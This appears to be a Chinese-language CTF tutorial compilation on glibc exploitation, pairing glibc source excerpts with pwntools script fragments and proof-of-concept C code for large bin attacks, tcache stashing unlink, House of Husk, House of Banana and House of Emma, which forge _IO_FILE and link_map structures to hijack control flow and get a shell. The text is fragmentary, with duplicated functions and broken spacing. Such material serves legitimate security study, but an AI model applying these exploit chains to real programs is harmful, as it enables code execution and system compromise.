struct_IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct_IO_marker *_markers;
struct_IO_FILE *_chain;
int _fileno; // stderr:2, stdout:1, stdin:0
#if 0 int _blksize; #else
int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
struct_IO_FILE_complete { struct_IO_FILE _file; #endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset; # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T /* Wide character stream stuff. */ struct_IO_codecvt *_codecvt; struct_IO_wide_data *_wide_data; struct_IO_FILE *_freeres_list; void *_freeres_buf; # else void *__pad1; void *__pad2; void *__pad3; void *__pad4; # endif size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; #endif };
/* Extra data for wide character streams. */ struct_IO_wide_data { wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
struct_IO_str_fields { /* These members are preserved for ABI compatibility. The glibc implementation always calls malloc/free for user buffers if _IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set. */ _IO_alloc_type _allocate_buffer_unused; _IO_free_type _free_buffer_unused; };
/* This is needed for the Irix6 N32 ABI, which has a 64 bit off_t type, but a 32 bit pointer type. In this case, we get 4 bytes of padding after the vtable pointer. Putting them in a structure together solves this problem. */
// fwrite() // libio/iofwrite.c /* * buf: 是一个指针,对 fwrite 来说,是要写入数据的地址; * size: 要写入内容的单字节数; * count: 要进行写入 size 字节的数据项的个数; * stream: 目标文件指针; * 返回值: 实际写入的数据项个数 count。 */ _IO_size_t _IO_fwrite (constvoid *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp) { _IO_size_t request = size * count; _IO_size_t written = 0; CHECK_FILE (fp, 0); if (request == 0) return0; _IO_acquire_lock (fp); if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1) written = _IO_sputn (fp, (constchar *) buf, request); // 调用 _IO_sputn 函数 _IO_release_lock (fp); /* We have written all of the input in case the return value indicates this or EOF is returned. The latter is a special case where we simply did not manage to flush the buffer. But the data is in the buffer and therefore written as far as fwrite is concerned. */ if (written == request || written == EOF) return count; else return written / size; } // libio/libioP.h #define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N) #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
// libio/iofclose.c int _IO_new_fclose (_IO_FILE *fp) { int status; CHECK_FILE(fp, EOF); #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) /* We desperately try to help programs which are using streams in a strange way and mix old and new functions. Detect old streams here. */ if (_IO_vtable_offset (fp) != 0) return _IO_old_fclose (fp); #endif /* First unlink the stream. */ if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp); // 将 fp 从链表中取出 _IO_acquire_lock (fp); if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp); // 关闭目标文件 else status = fp->_flags & _IO_ERR_SEEN ? -1 : 0; _IO_release_lock (fp); _IO_FINISH (fp); if (fp->_mode > 0) { #if _LIBC /* This stream has a wide orientation. This means we have to free the conversion functions. */ struct_IO_codecvt *cc = fp->_codecvt; __libc_lock_lock (__gconv_lock); __gconv_release_step (cc->__cd_in.__cd.__steps); __gconv_release_step (cc->__cd_out.__cd.__steps); __libc_lock_unlock (__gconv_lock); #endif } else { if (_IO_have_backup (fp)) _IO_free_backup_area (fp); } if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr) { fp->_IO_file_flags = 0; free(fp); // 释放 FILE 结构体 } return status; }
sleep(0); printf("here is a gift %p, good luck ;)\n", &sleep); fflush(_bss_start); close(1); close(2); for ( i = 0; i <= 4; ++i ) { read(0, &buf, 8uLL); read(0, buf, 1uLL); } exit(1337); }
defget_info(): global one_gadget, stdout_vtable, fake_vtable, stderr_vtable p.recvuntil(b"here is a gift ") sleep = int(p.recv(14),16) p.recvuntil(b"luck ;)\n")
/* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; structlink_map *l; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; }
#else/* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen != NULL) return; #endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n"); }
判断 vtable 的地址是否处于 glibc 中的 vtable 数组段,是的话,通过检查。
否则判断是否为外部的合法 vtable(重构或是动态链接库中的vtable),是的话,通过检查。
否则报错,输出Fatal error: glibc detected an invalid stdio handle,程序退出。
/* Fill in an array of pointers to the argument values. */ for (unsignedint i = 0; i < specs[nspecs_done].ndata_args; ++i) ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
/* Call the function. */ function_done = __printf_function_table[(size_t) spec](s, &specs[nspecs_done].info, ptr); ... } } size_t attribute_hidden __parse_one_specmb (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg) { ... if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) ... }
泄露 libc 地址。
修改 global_max_fast 为很大的值,可以 large bin attack/unsorted bin attack
/* * This is a Proof-of-Concept for House of Husk * This PoC is supposed to be run with libc-2.27. gcc poc.c -o poc -no-pie -g */ #include<stdio.h> #include<stdlib.h>
/* overwrite __printf_arginfo_table and __printf_function_table */ free(a[1]);// __printf_function_table => a heap_addr which is not NULL free(a[2]);// => one_gadget
#define BLACK "30" #define RED "31" #define GREEN "32" #define YELLOW "33" #define BLUE "34" #define PURPLE "35" #define GREEN_DARK "36" #define WHITE "37"
defleak_addr(): global libc_base, system, __free_hook, _IO_list_all, heap_address # 部署tcache stashing unlink attack的堆环境 change_role(1) for i inrange(5): # make 5 chunk into tcache, mummy index 0~4 add(0xA0) delete(i)
change_role(0) add(0x150) # peppa index 0 for i inrange(7): # fill 0x120 tcache, peppa index 1~7 add(0x150) delete(i + 1) delete(0) # peppa #0 into unsorted bin
gdb.attach(io) pause()
change_role(1) add(0xA0) # mummy index 5, split peppa #0 change_role(0) add(0x160) # peppa index 8 for i inrange(7): # fill 0x130 tcache, peppa index 9~15 add(0x160) delete(i + 9) delete(8) change_role(1) change_role(0)
gdb.attach(io) pause()
view(8) # get libc base address io.recv(0x10) libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0 system = libc_base + libc.symbols['system'] __free_hook = libc_base + libc.symbols['__free_hook'] _IO_list_all = libc_base + libc.symbols['_IO_list_all'] change_role(1) add(0xB0) # mummy index 6, split peppa #8
# 获取堆地址 change_role(0) change_role(1)
gdb.attach(io) pause()
view(1) io.recv(0x10) heap_address = u64(io.recv(6) + b'\x00\x00') # get a heap address
deffirst_largebin_attack(): # first large bin attack change_role(1) add(0x440) # mummy index = 7 change_role(0) add(0x430) # peppa index = 16 add(0x430) # peppa index = 17 add(0x430) # peppa index = 18 add(0x430) # peppa index = 19 change_role(1) delete(7) add(0x450) # mummy index = 8, switch mummy #7 into large bin change_role(0) delete(17) change_role(1) change_role(0) change_role(1) edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10)) change_role(2) add(0xF0) # daddy index = 0, complete first large bin attack
large bin attack 可以任意地址写堆地址,我们可以使得 __free_hook 周围变得可写。这种手法可以从前言的文章了解,这里不再细讲,我们把 large_bin_chunk.bk_nextsize -> (__free_hook - 0x30),再次申请 0xf0 大小的 chunk 时会先把 unsorted_bin_chunk 放进 large bin ,再去 large bin 中找到合适的 chunk 进行切割。借此可以完成 large bin attack。
构造的结构如下:
攻击后如下:
第二次 large bin attack
1 2 3 4 5 6 7 8 9 10 11
defsecond_largebin_attack(): # second large bin attack change_role(1) change_role(0) delete(19) change_role(1) edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10)) change_role(2) #gdb.attach(io) add(0xF0) # daddy index = 1, complete first large bin attack #pause()
第二次 large bin attack,我们的目标是将未来的假 _IO_FILE地址写到_IO_list_all中。上一次 large bin attack中使用的large bin是可以重用的,我们将bk_nextsize指针改到其他位置还能够再一次进行攻击。第二次large bin attack应该写的具体的堆地址应该根据堆环境进行确定,选择的偏移至关重要。为了方便起见,我们的伪造_IO_FILE结构体应该在daddy分配索引为4的chunk时附加送给我们的一个chunk中进行构造。向_IO_list_all中写入的是large bin chunk的地址,如果想要这里同时也指向假_IO_FILE指针,就需要计算好chunk的分配数量,在calloc(0xE8)时能够正好让这个chunk被拆分,这样就实现了此处可写。可以让bk_nextsize的值为_IO_list_all-0x20。
defchange_role(role): global current_user io.sendlineafter(b'Choice: ', b'5') io.sendlineafter(b'user:\n', password[role]) current_user = role sleep(0.1)
defleak_addr(): global libc_base, system, __free_hook, _IO_list_all, heap_address # 部署tcache stashing unlink attack的堆环境 change_role(1) for i inrange(5): # make 5 chunk into tcache, mummy index 0~4 add(0xA0) delete(i)
change_role(0) add(0x150) # peppa index 0 for i inrange(7): # fill 0x120 tcache, peppa index 1~7 add(0x150) delete(i + 1) delete(0) # peppa #0 into unsorted bin
# gdb.attach(io) # pause()
change_role(1) add(0xA0) # mummy index 5, split peppa #0 change_role(0) add(0x160) # peppa index 8 for i inrange(7): # fill 0x130 tcache, peppa index 9~15 add(0x160) delete(i + 9) delete(8)
change_role(1) change_role(0)
# gdb.attach(io) # pause()
view(8) # get libc base address io.recv(0x10) libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0 system = libc_base + libc.symbols['system'] __free_hook = libc_base + libc.symbols['__free_hook'] _IO_list_all = libc_base + libc.symbols['_IO_list_all'] change_role(1) add(0xB0) # mummy index 6, split peppa #8
# 获取堆地址 change_role(0) change_role(1)
# gdb.attach(io) # pause()
view(1) io.recv(0x10) heap_address = u64(io.recv(6) + b'\x00\x00') # get a heap address
void internal_function _dl_fini (void) { /* Lots of fun ahead. We have to call the destructors for all still loaded objects, in all namespaces. The problem is that the ELF specification now demands that dependencies between the modules are taken into account. I.e., the destructor for a module is called before the ones for any of its dependencies. To make things more complicated, we cannot simply use the reverse order of the constructors. Since the user might have loaded objects using `dlopen' there are possibly several other modules with its dependencies to be taken into account. Therefore we have to start determining the order of the modules once again from the beginning. */
/* We run the destructors of the main namespaces last. As for the other namespaces, we pick run the destructors in them in reverse order of the namespace ID. */ #ifdef SHARED int do_audit = 0; again: #endif for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) { /* Protect against concurrent loads and unloads. */ __rtld_lock_lock_recursive (GL(dl_load_lock));
unsignedint nloaded = GL(dl_ns)[ns]._ns_nloaded; /* No need to do anything for empty namespaces or those used for auditing DSOs. */ if (nloaded == 0 #ifdef SHARED || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit #endif ) __rtld_lock_unlock_recursive (GL(dl_load_lock)); else { /* Now we can allocate an array to hold all the pointers and copy the pointers in. */ struct link_map *maps[nloaded];
unsignedint i; structlink_map *l; assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL); for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next) /* Do not handle ld.so in secondary namespaces. */ if (l == l->l_real) { assert (i < nloaded);
maps[i] = l; l->l_idx = i; ++i;
/* Bump l_direct_opencount of all objects so that they are not dlclose()ed from underneath us. */ ++l->l_direct_opencount; } assert (ns != LM_ID_BASE || i == nloaded); assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1); unsignedint nmaps = i;
/* Now we have to do the sorting. */ _dl_sort_fini (maps, nmaps, NULL, ns);
/* We do not rely on the linked list of loaded object anymore from this point on. We have our own list here (maps). The various members of this list cannot vanish since the open count is too high and will be decremented in this loop. So we release the lock so that some code which might be called from a destructor can directly or indirectly access the lock. */ __rtld_lock_unlock_recursive (GL(dl_load_lock));
/* 'maps' now contains the objects in the right order. Now call the destructors. We have to process this array from the front. */ for (i = 0; i < nmaps; ++i) { structlink_map *l = maps[i];
if (l->l_init_called) { /* Make sure nothing happens if we are called twice. */ l->l_init_called = 0;
/* Is there a destructor function? */ if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL) { /* When debugging print a message first. */ if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0)) _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n", DSO_FILENAME (l->l_name), ns);
/* First see whether an array is given. */ if (l->l_info[DT_FINI_ARRAY] != NULL) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsignedint i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0) ((fini_t) array[i]) (); }
/* Next try the old-style destructor. */ if (l->l_info[DT_FINI] != NULL) DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr); }
#ifdef SHARED /* Auditing checkpoint: another object closed. */ if (!do_audit && __builtin_expect (GLRO(dl_naudit) > 0, 0)) { structaudit_ifaces *afct = GLRO(dl_audit); for (unsignedint cnt = 0; cnt < GLRO(dl_naudit); ++cnt) { if (afct->objclose != NULL) /* Return value is ignored. */ (void) afct->objclose (&l->l_audit[cnt].cookie);
afct = afct->next; } } #endif }
/* Correct the previous increment. */ --l->l_direct_opencount; } } }
if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_STATISTICS)) _dl_debug_printf ("\nruntime linker statistics:\n" " final number of relocations: %lu\n" "final number of relocations from cache: %lu\n", GL(dl_num_relocations), GL(dl_num_cache_relocations)); #endif }
只要伪造 rtld_global 结构体就可以使得 array 指向我们可控的数据区,从而伪造好一系列函数,进而劫持程序的流。可以触发 call 的有两个点,第一个点可以 call 到很多指针,是一个数组;另一个点就只有一个函数。剩下的工作就是根据代码绕过检测,调用到调用点,需要注意的是,有时候远程的 rtld_global 的偏移与本地不一样,需要爆破。house of banana便是利用large bin attack往 rtld_global 写入堆的地址,并事先在堆里伪造好rtld_global结构体,这样程序exit或者正常退出 main 函数时,便会执行到伪造的函数,此时若我们将函数伪造成one_gadget或者system 则可以 get shell。
maps 必须要有四个元素,所以我劫持的是第三个节点的 next 指针这样不会破环长度从而绕过下面的两个断言。劫持时只需在_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next处写入 fake 就行,这时可以使用 large bin attack。
1 2
assert (ns != LM_ID_BASE || i == nloaded); assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
为了能写入 maps[i] = l;,需要绕过 if (l == l->l_real),所以fake+0x28 (offset is 0x28)处要写入 fake 自己的地址。
structlink_map { /* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Difference between the address in the ELF file and the addresses in memory. */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ structlink_map *l_next, *l_prev; /* Chain of loaded objects. */
/* All following members are internal to the dynamic linker. They may change without notice. */
/* This is an element which is only ever different from a pointer to the very same copy of this type for ld.so when it is used in more than one namespace. */ structlink_map *l_real; ...... }
if (l == l->l_real) { assert (i < nloaded);
maps[i] = l; l->l_idx = i; ++i;
/* Bump l_direct_opencount of all objects so that they are not dlclose()ed from underneath us. */ ++l->l_direct_opencount; }
structlink_map { ... unsignedint l_relocated:1; /* Nonzero if object's relocations done. */ unsignedint l_init_called:1; /* Nonzero if DT_INIT function called. */ unsignedint l_global:1; /* Nonzero if object in _dl_global_scope. */ unsignedint l_reserved:2; /* Reserved for internal use. */ ... }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
void _dl_fini (void) { [...] /* 'maps' now contains the objects in the right order. Now call the destructors. We have to process this array from the front. */ for (i = 0; i < nmaps; ++i) { structlink_map *l = maps[i];
if (l->l_init_called) { /* Make sure nothing happens if we are called twice. */ l->l_init_called = 0; ... }
structlink_map { [...] /* Indexed pointers to dynamic section. [0,DT_NUM) are indexed by the processor-independent tags. [DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC. [DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are indexed by DT_VERSIONTAGIDX(tagvalue). [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by DT_EXTRATAGIDX(tagvalue). [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are indexed by DT_VALTAGIDX(tagvalue) and [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM) are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */
free(p1); uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin free(p2); p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin
// IMPORTANT! YOU CAN CHANGE THE MODE HERE int mode = ORW_MODE; char* sh = "/bin/sh"; char* flag = "./flag"; size_t space[0x100];
intmain(){ setvbuf(stdin,0LL,2,0LL); setvbuf(stdout,0LL,2,0LL); puts("\033[32mHello! today let's learn something about house of emma.\033[0m"); puts("\033[32m本程序用于演示house of emma的漏洞利用原理。\033[0m"); puts("\033[1;31mTested in Ubuntu 22.04, glibc version: Ubuntu GLIBC 2.35-0ubuntu3.1\033[0m"); puts("\033[1;31m测试环境:Ubuntu 22.04,glibc版本为2.35-0ubuntu3.1\033[0m"); puts("\033[32mHouse of emma is used for high version of glibc, it utilizes _IO_FILE struct to exploit.\033[0m"); puts("\033[32mhouse of emma 适用于高版本glibc,它使用_IO_FILE结构体进行漏洞利用。\033[0m"); puts("\033[32mSame as other way of exploitation with _IO_FILE, it also use fake _IO_FILE struct.\033[0m"); puts("\033[32m与其他利用_IO_FILE结构体漏洞的方法相同,它也利用了伪造的_IO_FILE结构体。\n\033[0m"); puts("\033[32mIt can be triggered by function __malloc_assert, so it always go with heap vulnerabilities.\033[0m"); puts("\033[32m它可以通过函数__malloc_assert触发,因此它常常与堆漏洞相联系。\033[0m"); puts("\033[32mFirst we need to know the structure of _IO_FILE in glibc 2.35:\033[0m" "\033[32m首先我们需要了解一下glibc 2.35版本下_IO_FILE结构体的内容:\n\033[0m" "\033[33m(line 49, /libio/bits/types/struct_FILE.h)\033[0m"); puts("\033[34mstruct _IO_FILE\n" "{\n" " int _flags;\t\t/* High-order word is _IO_MAGIC; rest is flags. */\n" "\n" " /* The following pointers correspond to the C++ streambuf protocol. */\n" " char *_IO_read_ptr;\t/* Current read pointer */\n" " char *_IO_read_end;\t/* End of get area. */\n" " char *_IO_read_base;\t/* Start of putback+get area. */\n" " char *_IO_write_base;\t/* Start of put area. */\n" " char *_IO_write_ptr;\t/* Current put pointer. */\n" " char *_IO_write_end;\t/* End of put area. */\n" " char *_IO_buf_base;\t/* Start of reserve area. */\n" " char *_IO_buf_end;\t/* End of reserve area. */\n" "\n" " /* The following fields are used to support backing up and undo. */\n" " char *_IO_save_base; /* Pointer to start of non-current get area. */\n" " char *_IO_backup_base; /* Pointer to first valid character of backup area */\n" " char *_IO_save_end; /* Pointer to end of non-current get area. */\n" "\n" " struct _IO_marker *_markers;\n" "\n" " struct _IO_FILE *_chain;\n" "\n" " int _fileno;\n" " int _flags2;\n" " __off_t _old_offset; /* This used to be _offset but it's too small. */\n" "\n" " /* 1+column number of pbase(); 0 is unknown. */\n" " unsigned short _cur_column;\n" " signed char _vtable_offset;\n" " char _shortbuf[1];\n" "\n" " _IO_lock_t *_lock;\n" "#ifdef _IO_USE_OLD_IO_FILE\n" "};\n\033[0m");
puts("\033[32mThe key element we need to forge is the *vtable pointer.\033[0m"); puts("\033[32m其中的关键就是*vtable指针。\033[0m"); puts("\033[32mIt's worth noticing that we need to write correct *_lock value in our fake _IO_FILE.\033[0m"); puts("\033[32m值得注意的是,我们需要写入正确的*_lock指针值到伪造的_IO_FILE结构体中。\033[0m"); puts("\033[32mThe value of *_lock should be \033[31m_IO_stdfile_1_lock.\033[0m"); puts("\033[32m*_lock的值应该是\033[31m_IO_stdfile_1_lock.\033[0m"); puts("\033[32mSo that we need to know the loading base address of libc.\033[0m"); puts("\033[32m所以我们需要知道libc的加载基地址。\n\033[0m");
puts("\033[35mNow let's get loading base address of libc through the address of function puts().\033[0m"); puts("\033[35m现在让我们通过puts()函数获取一下libc的加载基地址。\033[0m");
int(*func)(constchar*) = puts; printf("\033[32mThe address of function puts() is: \033[31m%p\n\033[0m", func); printf("\033[32mputs函数的地址为: \033[31m%p\n\033[0m", func); printf("\033[32mSo that the loading address of libc is: \033[31m%p\n\033[0m", func - 0x80ed0); printf("\033[32m因此libc的加载地址为: \033[31m%p\n\033[0m", func - 0x80ed0); puts("\033[33m(The offset address of function puts() is 0x80ed0)\033[0m"); puts("\033[33m(puts函数的偏移量为0x80ed0)\n\033[0m");
printf("\033[32mSince we know the libc base address, we can also know the address of pointer stderr: \033[31m%p\033[0m\n", (void*)stderr_ptr); printf("\033[32m既然现在我们已经知道了libc的加载地址,我们也可以获得stderr指针的地址: \033[31m%p\033[0m\n", (void*)stderr_ptr);
puts("\033[32mNow let's satisfy the second prerequisite of the exploit: \033[0m"); puts("\033[32m下面让我们构造一下这个漏洞利用的第二个前提条件: \033[0m"); puts("\033[33mGet the value of pointer_guard or change it to a known value.\033[0m"); puts("\033[33m获取到pointer_guard的值并将其修改为一个已知值。\033[0m"); puts("\033[32mOur house of emma has a stable call chain, and we'll need the value to guide rip to the function we want.\033[0m"); puts("\033[32m我们的house of emma利用方式有一条完整的函数调用链,我们需要这个pointer_guard的值来引导rip到我们想要的函数。\033[0m"); puts("\033[32mWhere the value is used will be introduced later.\033[0m"); puts("\033[32m我们之后将会介绍这个pointer_guard的地址在什么地方。\033[0m"); puts("\033[32mIt's worth noticing that\033[31m the value of pointer guard is not located in libc, while before libc.\033[0m"); puts("\033[32m需要注意的是pointer guard的值并不在libc中,而是在libc的低地址处。\033[0m"); puts("\033[32mIf you use pwndbg, you can see that before libc, there exists an anonymous space, with its size of 0x3000.\033[0m"); puts("\033[32m如果使用pwndbg,你可以看到在libc前面有一个匿名的内存区域,大小为0x3000。\033[0m"); puts("\033[32mThe tls struct is located in this anonymous area, which includes the value of pointer_guard.\033[0m"); puts("\033[32mtls结构体就位于这个匿名的内存空间中,它包含有pointer_guard。\033[0m"); puts("\033[32mTo be more detail, the value of pointer_guard is located in (libc_base - 0x3000 + 0x770)\033[0m"); puts("\033[32m更具体地说,pointer_guard的值应该位于(libc_base - 0x3000 + 0x770)\n\033[0m");
puts("\033[32mActually, the name of the struct is \033[31mtcbhead_t\033[32m. Here is the structure:\033[0m"); puts("\033[32m实际上,这个结构体的名字是\033[31mtcbhead_t\033[32m. 下面是它的构造:\033[0m"); puts("\033[33m(line 36, /sysdeps/x86_64/nptl/tls.h)\033[0m"); puts("\033[34mtypedef struct\n" "{\n" " void *tcb;\t\t/* Pointer to the TCB. Not necessarily the\n" "\t\t\t thread descriptor used by libpthread. */\n" " dtv_t *dtv;\n" " void *self;\t\t/* Pointer to the thread descriptor. */\n" " int multiple_threads;\n" " int gscope_flag;\n" " uintptr_t sysinfo;\n" " uintptr_t stack_guard;\n" " uintptr_t pointer_guard;\n" " unsigned long int unused_vgetcpu_cache[2];\n" " /* Bit 0: X86_FEATURE_1_IBT.\n" " Bit 1: X86_FEATURE_1_SHSTK.\n" " */\n" " unsigned int feature_1;\n" " int __glibc_unused1;\n" " /* Reservation of some values for the TM ABI. */\n" " void *__private_tm[4];\n" " /* GCC split stack support. */\n" " void *__private_ss;\n" " /* The lowest address of shadow stack, */\n" " unsigned long long int ssp_base;\n" " /* Must be kept even if it is no longer used by glibc since programs,\n" " like AddressSanitizer, depend on the size of tcbhead_t. */\n" " __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));\n" "\n" " void *__padding[8];\n" "} tcbhead_t;\033[0m"); puts("\033[32mWe can see that the stack guard is right above the pointer guard, so we can't absolutely change the stack_guard.\033[0m"); puts("\033[32m我们可以发现stack_guard就在pointer_guard的上面,因此我们绝对不能修改stack_guard的值。\033[0m"); printf("\033[32mLet's calculate the address of pointer_guard: \033[31m%p\033[0m\n", (size_t*)(libc_base - 0x3000 + 0x770)); printf("\033[32m让我们计算一下pointer_guard的地址: \033[31m%p\033[0m\n", (size_t*)(libc_base - 0x3000 + 0x770));
size_t* pointer_guard_address = (size_t*)(libc_base - 0x3000 + 0x770); printf("\033[32mThe value of pointer_guard is: \033[31m%#zx\033[0m\n", *pointer_guard_address); printf("\033[32mpointer_guard的值为: \033[31m%#zx\033[0m\n", *pointer_guard_address); puts("\033[32mIn CTF problems you can't always get the original value of pointer_guard, but you can also change it to a known value.\033[0m"); puts("\033[32m在CTF赛题中你可能不能获取到pointer_guard的值,但你可以将其改写为一个已知值。\n\033[0m");
puts("\033[32mOK, now we can try to forge a _IO_FILE struct.\033[0m"); puts("\033[32m那么现在我们就来开始伪造_IO_FILE结构体。\033[0m"); puts("\033[32mAttention: what we forge is actually _IO_FILE_plus struct, which contains a _IO_FILE struct and a vtable pointer(_IO_jump_t*)\033[0m"); puts("\033[32m注意:我们伪造的实际上是_IO_FILE_plus结构体,其包含_IO_FILE结构体的所有内容以及一个vtable指针(_IO_jump_t*)\033[0m");
printf("\033[32mWe just allocate a fake _IO_FILE_plus struct into the heap: \033[31m%p\033[m\n", fake_file_struct); printf("\033[32m我们刚刚分配了一个假的_IO_FILE_plus结构体到堆: \033[31m%p\033[m\n", fake_file_struct); printf("\033[32mThe address of fake _IO_FILE_plus is: \033[31m%p\033[0m\n", fake_file_struct); printf("\033[32m这个假的_IO_FILE_plus结构体的地址为: \033[31m%p\033[0m\n", fake_file_struct); printf("\033[32mThe address of vtable pointer is: \033[31m%p\033[0m\n", vtable); printf("\033[32mvtable指针的地址为: \033[31m%p\033[0m\n", vtable); puts("\033[32mThen we are going to change the value of _lock and vtable pointer.\033[0m"); puts("\033[32m然后我们来修改_lock和vtable指针的值。\033[0m"); puts("\033[32mThe _lock should be changed into \033[31m_IO_stdfile_1_lock\033[32m, which is in \033[31m(libc_base + 0x21ba70).\033[0m"); puts("\033[32m_lock的值应该被修改为\033[31m_IO_stdfile_1_lock\033[32m, 它的地址为\033[31m(libc_base + 0x21ba70).\033[0m"); puts("\033[32mThe vtable should be changed into \033[31m(_IO_cookie_jumps + 0x38)\033[32m, " "which points to function \033[31m_IO_file_xsputn.\033[0m"); puts("\033[32mvtable指针应该被修改为\033[31m(_IO_cookie_jumps + 0x38)\033[32m, " "其指向函数\033[31m_IO_file_xsputn.\033[0m\n");
